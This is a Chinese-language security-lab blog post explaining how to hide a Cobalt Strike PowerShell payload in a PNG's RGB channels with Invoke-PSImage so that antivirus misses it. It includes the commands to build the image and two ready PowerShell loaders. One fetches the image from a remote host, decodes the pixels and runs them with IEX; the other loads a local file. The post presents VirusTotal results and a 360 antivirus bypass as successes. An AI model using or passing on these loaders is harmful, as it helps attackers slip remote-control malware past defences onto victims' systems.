点击蓝字,关注我们
日期:2022-05-25
作者:nothing
介绍:利用隐写技术可以很好的隐藏shellcode,从而达到免杀的目的。
0x00 前言
以前只在CTF
中运用过隐写技术,但是隐写技术也可以用在实战中,最根本的目的还是隐藏一些信息和数据。shellcode
的本质还是文字,可以将文字隐藏到图片的RGB
三颜色通道中去,从而达到躲避杀软检测的目的,可以很好地实现免杀。
0x01 RGB隐写技术
使用的脚本地址:https://github.com/dayuxiyou/Invoke-PSImage
其实本质上使用的是图片隐写技术中相对简单的最低有效位隐写(LSB
)的方式进行数据隐藏,采用嵌入的方式,将有效的shellcode
隐藏到每个像素点中的两个颜色通道中的四个低位中去,这样既可以达到不影响图片显示的目的,又可以尽可能的隐藏多的数据。
图像的每个像素都用于保存一个字节的脚本,当shellcode
过大的时候,就需要找一个分辨率足够大,像素点足够多的图片作为载体,例如1920*1200
这种大像素图片。
0x02 演示过程
2.1 生成图片
首先,使用cobaltstrike
生成一个powershell
的payload
。
将payload
和图片还有脚本放在一起,输入可以是任何格式的图片,输出会自动转换成png
格式,由于png
是无损压缩,这样才能更完整的保存隐藏的payload
,保证不会在传输过程中数据被破坏。
# 设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 导入 Invoke-PSimage.ps1 文件
Import-Module .Invoke-PSimage.ps1
# 生成带有 Shellcode 的图片,-Web是输出远程加载命令的选项,不加的话就会输出本地加载的命令
Invoke-PSImage -Script .payload.ps1 -Image .origin.jpg -Out .shell.png -Web
此时,我们使用本地和远程的方式,各生成了一张图片,可以看的出来,本地和远程的生成的图片大小还是有区别的,本地的要更大一点。
2.2 免杀效果
我们把生成的两张图片和原生payload
脚本,分别上传到VT
上进行下检测,看看是否能被杀软检测出来。
shell_remote.png
的检测结果:
https://www.virustotal.com/gui/file/e7f7ba30bd2755341962299f7202054d928c892c7f2e86158c4f3fedb58648c7?nocache=1
shell_local.png
的检测结果:
https://www.virustotal.com/gui/file/234e67c6786dc8ed41ef62595f328245b1a4e4d8b425b9e6f4c3b7c1a559113a?nocache=1
payload.ps1
本身的检测结果:https://www.virustotal.com/gui/file/8a762a46deae451d144ae85994e5de03cee44270e6c348fbf075ffda0a09d5d2?nocache=1
可以很显然看得出来,使用RGB
方式隐藏以后,就无法被杀毒软件检测出来了,免杀效果很棒。
2.3 远程加载
首先我们尝试进行远程加载,需要加-Web
参数,得到执行命令如下:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 6000;(0..0)|%{foreach($x in(0..5999)){$p=$g.GetPixel($x,$_);$o[$_*6000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3058]))
我们将OpenRead
函数中的参数换成我们远程加载的图片参数的地址,然后执行命令尝试。
360
的情况下没有告警,直接上线。使用360
杀毒扫描目录,也仅发现了payload.ps1
有危险。
使用远程加载固然方便,但是由于生成的图片非常大,原本6M
的图片生成完以后,有50M+
,如果目标主机网速不够的话,远程加载所耗的时间较长,容易引起注意,所以我们可以尽可能的使用本地加载。
2.4 本地加载
使用本地加载不需要添加-Web
参数,直接生成即可,得到的执行命令如下:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:UsersnothingDesktopInvoke-PSImage-mastershell_local.png");$o=a Byte[] 6000;(0..0)|%{foreach($x in(0..5999)){$p=$g.GetPixel($x,$_);$o[$_*6000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3058]))
把之前的远程加载的卸载掉,重新执行本地加载的命令。
360
也并未进行弹窗提醒。0x03 总结
采用这种方式进行免杀,可以很好的绕过杀软对木马本身的检测和查杀,但如果杀软对行为进行查杀,禁止联网,那么远程加载就无法使用了,如果杀软对powershell
命令进行检测的话,那就要另外想办法对powershell
的命令进行混淆了。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『杂项』利用隐写技术进行免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论